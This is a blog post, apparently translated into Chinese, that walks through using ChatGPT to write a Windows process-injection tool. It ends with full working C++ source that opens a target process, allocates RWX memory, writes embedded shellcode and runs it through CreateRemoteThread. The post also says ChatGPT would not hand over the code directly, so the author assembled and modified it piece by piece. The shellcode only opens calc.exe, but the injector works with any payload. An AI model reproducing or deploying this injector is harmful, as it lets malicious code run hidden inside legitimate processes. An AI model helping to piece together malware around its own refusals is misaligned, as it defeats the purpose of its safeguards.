恶意软件开发使用ChatGPT

免责声明:无需担心,此练习纯粹旨在利用ChatGPT进行教育目的。

今天,在这篇博客中,我将涵盖ChatGPT这一臭名昭著的应用之一的优点。

在这个周末早上,我的目标是深入研究恶意软件开发的基础。我一直在学习关于恶意软件开发的博客。虽然理论知识很有用,但我更倾向于实践经验,所以我选择直接跳入实际应用。

在我们开始之前,先简单介绍一下我自己的背景 - 我是一名恶意软件研究员,具有在安全环境中处理各种类型恶意软件的经验。

出于这个原因,我强烈不鼓励任何人尝试这个,除非他们具备能够处理恶意软件文件的受控实验室环境。

为了开始,我选择尝试创建一种使用广为人知的代码注入技术的恶意软件。

事实上,大多数恶意软件是使用C++编写的,我有亲身经历与基于C++的恶意软件密切合作。因此,我也将使用C++语言编写这个恶意软件。

在本博客的背景下,我将使用ChatGPT来帮助创建这个恶意软件。请随意跟随,但如果读者得到相同的回答,我会感到惊讶。

什么是代码注入?

代码注入是一种恶意软件使用的技术,可以将恶意代码注入到合法目标进程中。该技术的目的是在目标进程的上下文中执行恶意意图,往往是为了规避检测。

让我以简单的话来解释

  1. 首先,恶意软件必须从所有运行的进程中找到目标进程。

2. 为目标进程分配具有可执行权限(RWX)的空间。

3. 在分配的空间中编写shellcode。

4. 运行注入的代码。

让我们开始编写代码吧...

目的:将Shellcode注入到explore.exe并在其上下文中执行shellcode。

打开ChatGPT,

让我们按照上面提到的步骤顺序开始提问我们的问题。

ChatGPT问题#1-查找目标进程

首先,我们必须从正在运行的进程中找到目标进程,即explorer.exe。

ChatGPT中文站

测试 — 通过

在Visual Studio中编译了这段代码,并且没有出现任何错误。运行编译的应用程序,找到了explorer.exe的进程ID(PID)。

ChatGPT中文站

既然我们找到了目标进程的进程ID——4180,我们就需要在explorer.exe内分配空间来注入代码。

ChatGPT问题#2 - 分配空间。

ChatGPT中文站

测试 — 通过

通过添加到先前的代码并执行它来测试代码,我们成功地在目标进程的地址(0x6d0000)上分配了一个内存区域,具有读写执行权限(RWX)。

ChatGPT中文站

注:

分配的大小(4 kB/4096 字节)对于 shellcode 注入目的来说相当大。在博客后面,我会将空间减少到大致 176 字节,这对注入已足够。

ChatGPT问题#3 - 将代码编写到分配的空间中

注意:我使用了一个简单的 shellcode 片段来打开 calc.exe。我将把这段代码注入到分配的空间中。

ChatGPT中文站

测试 - 通过

通过将代码附加到现有代码并运行,我们成功地将我们的shellcode写入分配的区域。

ChatGPT中文站

ChatGPT问题#4 — 执行shellcode

ChatGPT中文站

测试 — 失败

在将代码与之前的代码进行整合并尝试运行后,结果是失败的。

ChatGPT中文站

我试过问ChatGPT,CreateRemoteThread 失败的潜在原因有哪些?

ChatGPT中文站

它列出了几个原因,我验证了每一个可能性。经过几轮测试后,我得出结论,问题与类型不匹配有关。

类型不匹配错误:

The C++ program I compiled was in 32-bit, and the shellcode was also written for a 32-bit architecture. However, the target process, explorer.exe, is actually a 64-bit application. This architectural mismatch prevented me from executing the shellcode successfully.

我编译的C++程序是32位的,而shellcode也是针对32位架构编写的。然而,目标进程explorer.exe实际上是一个64位应用程序。这种架构不匹配阻止了我成功执行shellcode。

作为解决方案,我决定选择一个不同的目标进程,一个32位应用程序。iexplore.exe,或者说Internet Explorer(IE),有32位和64位版本。我选择测试代码注入到32位版本的iexplore.exe中,该程序位于“C:\Program Files (x86)\Internet Explorer\iexplore.exe”。

首先,我启动了 iexplore.exe,然后运行了我们的代码注入程序。这种方法被证明是成功的,因为注入的 shellcode 在 iexplore.exe 内部执行,并按预期打开了 calc.exe。

ChatGPT中文站

请注意,由于潜在的恶意影响,ChatGPT无法直接提供代码。为了符合我的特定要求并解决出现的任何问题,我不得不修改代码。

使用ChatGPT的帮助构建的完整代码注入程序。

#include <iostream>
#include <windows.h>
#include <tlhelp32.h>

int main() {
// Create a PROCESSENTRY32 structure to store process information.
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

DWORD targetProcessId;
// shellcode to launch calc.exe
//References: https://blackcloud.me/Win32-shellcode-2/
unsigned char shellcode[] = "\x31\xc9\xf7\xe1\x64\x8b\x41"
"\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b"
"\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
"\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01"
"\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78"
"\x0a\x72\x65\x73\x73\x75\xeb\x8b\x72\x24\x01"
"\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde"
"\x8b\x14\x8e\x01\xda\x89\xd5\x31\xc9\x68\x73"
"\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68"
"\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43"
"\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff"
"\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89"
"\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52"
"\x51\x52\xff\xd0\x83\xc4\x10\x68\x65\x73\x73"
"\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f"
"\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd5\x31"
"\xc9\x51\xff\xd0";

SIZE_T allocationSize = sizeof(shellcode); // Size of memory to allocate

// Take a snapshot of all running processes.
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "Error creating process snapshot." << std::endl;
return 1;
}

// Iterate through the processes in the snapshot to find the target process ID
if (Process32First(hSnapshot, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, L"iexplore.exe") == 0) {
targetProcessId = pe32.th32ProcessID;
std::cout << "Found iexplore.exe with PID: " << pe32.th32ProcessID << std::endl;
}
} while (Process32Next(hSnapshot, &pe32));
}
else {
std::cerr << "Error getting process information." << std::endl;
}

// Open the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
std::cerr << "Error opening the target process." << std::endl;
return 1;
}

// Allocate virtual memory in the remote process
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, allocationSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
std::cout << "Remote memory allocated " << remoteMemory << std::endl;
if (remoteMemory == NULL) {
std::cerr << "Error allocating memory in the remote process." << std::endl;
CloseHandle(hProcess);
return 1;
}

// Write the shellcode to the allocated memory in the remote process
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), &bytesWritten)) {
std::cerr << "Error writing shellcode to remote process memory." << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

std::cout << "Shellcode successfully written to remote process memory." << std::endl;

// Create a remote thread in target process to load the DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory , NULL , 0, NULL);
if (hThread == NULL) {
std::cerr << "Error creating a remote thread in iexplore.exe." << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

// Wait for the thread to finish
WaitForSingleObject(hThread, INFINITE);

// Clean up
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hThread);
std::cout << "DLL loaded into iexplore.exe." << std::endl;
// Close the handle to the remote process
CloseHandle(hProcess);

// Close the snapshot handle.
CloseHandle(hSnapshot);

return 0;
}

总体而言,我觉得这次经历很愉快,确实通过ChatGPT的帮助,对恶意软件开发有了一些新的认识。

参考资料:

2023-10-20 17:19:03 AI中文站翻译自原文